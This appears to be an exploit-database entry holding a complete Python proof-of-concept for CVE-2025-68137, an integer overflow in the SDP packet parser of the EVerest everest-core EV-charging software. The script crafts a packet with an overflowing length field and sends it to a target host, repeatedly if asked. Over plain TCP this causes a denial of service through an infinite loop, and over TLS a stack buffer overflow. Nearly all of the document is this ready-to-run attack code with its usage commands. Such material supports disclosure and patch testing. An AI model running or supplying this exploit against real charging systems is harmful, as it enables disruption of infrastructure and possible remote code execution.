...[ More ]

# Exploit Title: EVerest 2025.9.0 - DoS 
    # Date: 2026-08-11
    # Exploit Author: [Ranjit Kumar Singh]
    # Vendor Homepage: https://github.com/EVerest/everest-core
    # Software Link:
    https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
    # Version: everest-core < 2025.10.0
    # Tested on: Ubuntu 22.04 / EVerest 2025.9.0
    # CVE: CVE-2025-68137
    # Attack Vector: Adjacent Network
    # Authentication: None
    
    
    """
    CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS
    Exploit Author: Ranjit Kumar Singh
    Vendor: https://github.com/EVerest/everest-core
    Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
    Vulnerable Versions: EVerest everest-core < 2025.10.0
    Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0
    CVE: CVE-2025-68137
    
    Description:
        An integer overflow in SdpPacket::parse_header() allows an attacker to
        trigger either an infinite loop (TCP) or stack buffer overflow (TLS)
        by sending a malformed SDP packet with a specially crafted length field.
    
        The vulnerability exists because the length field (4 bytes) is added to
        the header size (8) without proper overflow checking. When the length
        value is near UINT_MAX, the addition overflows, causing the remaining
        bytes to read to be interpreted as SIZE_MAX.
    
    Usage:
        # Trigger DoS (infinite loop) on TCP server
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200
    
        # Trigger stack buffer overflow on TLS server (may lead to RCE)
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls
    
        # Send multiple packets to increase impact
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100
    
        # Custom SDP version bytes (for testing different implementations)
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE
    """
    
    import argparse
    import socket
    import ssl
    import struct
    import time
    import sys
    
    # SDP Protocol Constants
    SDP_PROTOCOL_VERSION = 0x01
    SDP_INVERSE_PROTOCOL_VERSION = 0xFE
    V2GTP_HEADER_SIZE = 8
    
    def build_malicious_sdp_packet(version=0x01, inverse=0xFE):
        """
        Build a malformed SDP packet that triggers the integer overflow.
        
        The packet structure:
        - Byte 0: Protocol version (must be 0x01)
        - Byte 1: Inverse protocol version (must be 0xFE)
        - Byte 2-3: Reserved/Unused (0x0000)
        - Byte 4-7: Length field (triggers overflow when +8 is applied)
        
        The overflow occurs when the length field is near UINT_MAX.
        When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE
        If tmp is close to UINT_MAX, the addition overflows.
        
        We use 0xFFFFFFFF - 7 to make length = 0 after overflow,
        then length - bytes_read becomes negative → SIZE_MAX.
        """
        
        # Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7
        # UINT_MAX = 0xFFFFFFFF
        overflow_value = 0xFFFFFFF8  # UINT_MAX - 7
        
        # Build the packet
        packet = bytearray()
        packet.append(version)                    # Protocol version
        packet.append(inverse)                    # Inverse protocol version
        packet.extend(b'\x00\x00')                # Reserved (2 bytes)
        packet.extend(struct.pack('>I', overflow_value))  # Length (big-endian)
        
        return bytes(packet)
    
    def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0):
        """
        Build a normal SDP packet for comparison/testing.
        """
        packet = bytearray()
        packet.append(version)
        packet.append(inverse)
        packet.extend(b'\x00\x00')
        packet.extend(struct.pack('>I', payload_size))
        return bytes(packet)
    
    def send_packet(target_ip, target_port, packet, use_tls=False, count=1):
        """
        Send the malformed SDP packet to the target.
        """
        success_count = 0
        fail_count = 0
        
        for i in range(count):
            try:
                # Create socket
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(10)
                
                # Wrap with TLS if requested
                if use_tls:
                    context = ssl.create_default_context()
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                    sock = context.wrap_socket(sock, server_hostname=target_ip)
                
                # Connect and send
                sock.connect((target_ip, target_port))
                sock.send(packet)
                
                # Try to read response (may hang if infinite loop triggered)
                try:
                    response = sock.recv(1024)
                    print(f"[{i+1}/{count}] Response received ({len(response)} bytes)")
                except socket.timeout:
                    print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered")
                
                sock.close()
                success_count += 1
                
            except ConnectionRefusedError:
                print(f"[{i+1}/{count}] Connection refused - service may be down")
                fail_count += 1
            except socket.timeout:
                print(f"[{i+1}/{count}] Connection timeout")
                fail_count += 1
            except Exception as e:
                print(f"[{i+1}/{count}] Error: {e}")
                fail_count += 1
            
            # Small delay between packets
            if i < count - 1:
                time.sleep(0.1)
        
        return success_count, fail_count
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit"
        )
        parser.add_argument("-t", "--target", required=True, 
                            help="Target IP address (e.g., 192.168.1.100)")
        parser.add_argument("-p", "--port", type=int, default=5200,
                            help="Target port (default: 5200)")
        parser.add_argument("--tls", action="store_true",
                            help="Use TLS connection (triggers stack buffer overflow)")
        parser.add_argument("--count", type=int, default=1,
                            help="Number of packets to send (default: 1)")
        parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01,
                            help="Protocol version byte (default: 0x01)")
        parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE,
                            help="Inverse protocol version byte (default: 0xFE)")
        parser.add_argument("--payload-size", type=int, default=0,
                            help="Payload size for normal packets (for testing)")
        parser.add_argument("--normal", action="store_true",
                            help="Send normal packet instead of malicious")
        
        args = parser.parse_args()
        
        print("=" * 60)
        print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit")
        print("=" * 60)
        print(f"Target: {args.target}:{args.port}")
        print(f"TLS: {'Enabled' if args.tls else 'Disabled'}")
        print(f"Packets: {args.count}")
        print(f"Mode: {'Normal' if args.normal else 'Malicious'}")
        print("=" * 60)
        
        # Build packet
        if args.normal:
            packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size)
            print(f"[*] Using normal packet (payload size: {args.payload_size})")
        else:
            packet = build_malicious_sdp_packet(args.version, args.inverse)
            print("[*] Using malicious packet (triggering integer overflow)")
        
        print(f"[*] Packet hex: {packet.hex()}")
        print(f"[*] Packet size: {len(packet)} bytes")
        print("-" * 60)
        
        if args.tls:
            print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)")
        else:
            print("[!] TCP mode: Will trigger infinite loop (DoS)")
        
        print("-" * 60)
        
        # Send packet
        print(f"[*] Sending {args.count} packet(s)...")
        success, fail = send_packet(
            args.target, args.port, packet, 
            use_tls=args.tls, count=args.count
        )
        
        print("-" * 60)
        print(f"[+] Packets sent successfully: {success}")
        print(f"[-] Failed: {fail}")
        
        if success > 0 and not args.normal:
            print("\n[!] If the target is vulnerable:")
            if args.tls:
                print("    - Stack buffer overflow triggered (check for crashes)")
                print("    - May lead to remote code execution")
            else:
                print("    - Infinite loop triggered (service will hang)")
                print("    - Denial of Service achieved")
        
        print("\n[+] References:")
        print("    - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w")
        print("    - https://nvd.nist.gov/vuln/detail/CVE-2025-68137")
    
    if __name__ == "__main__":
        main()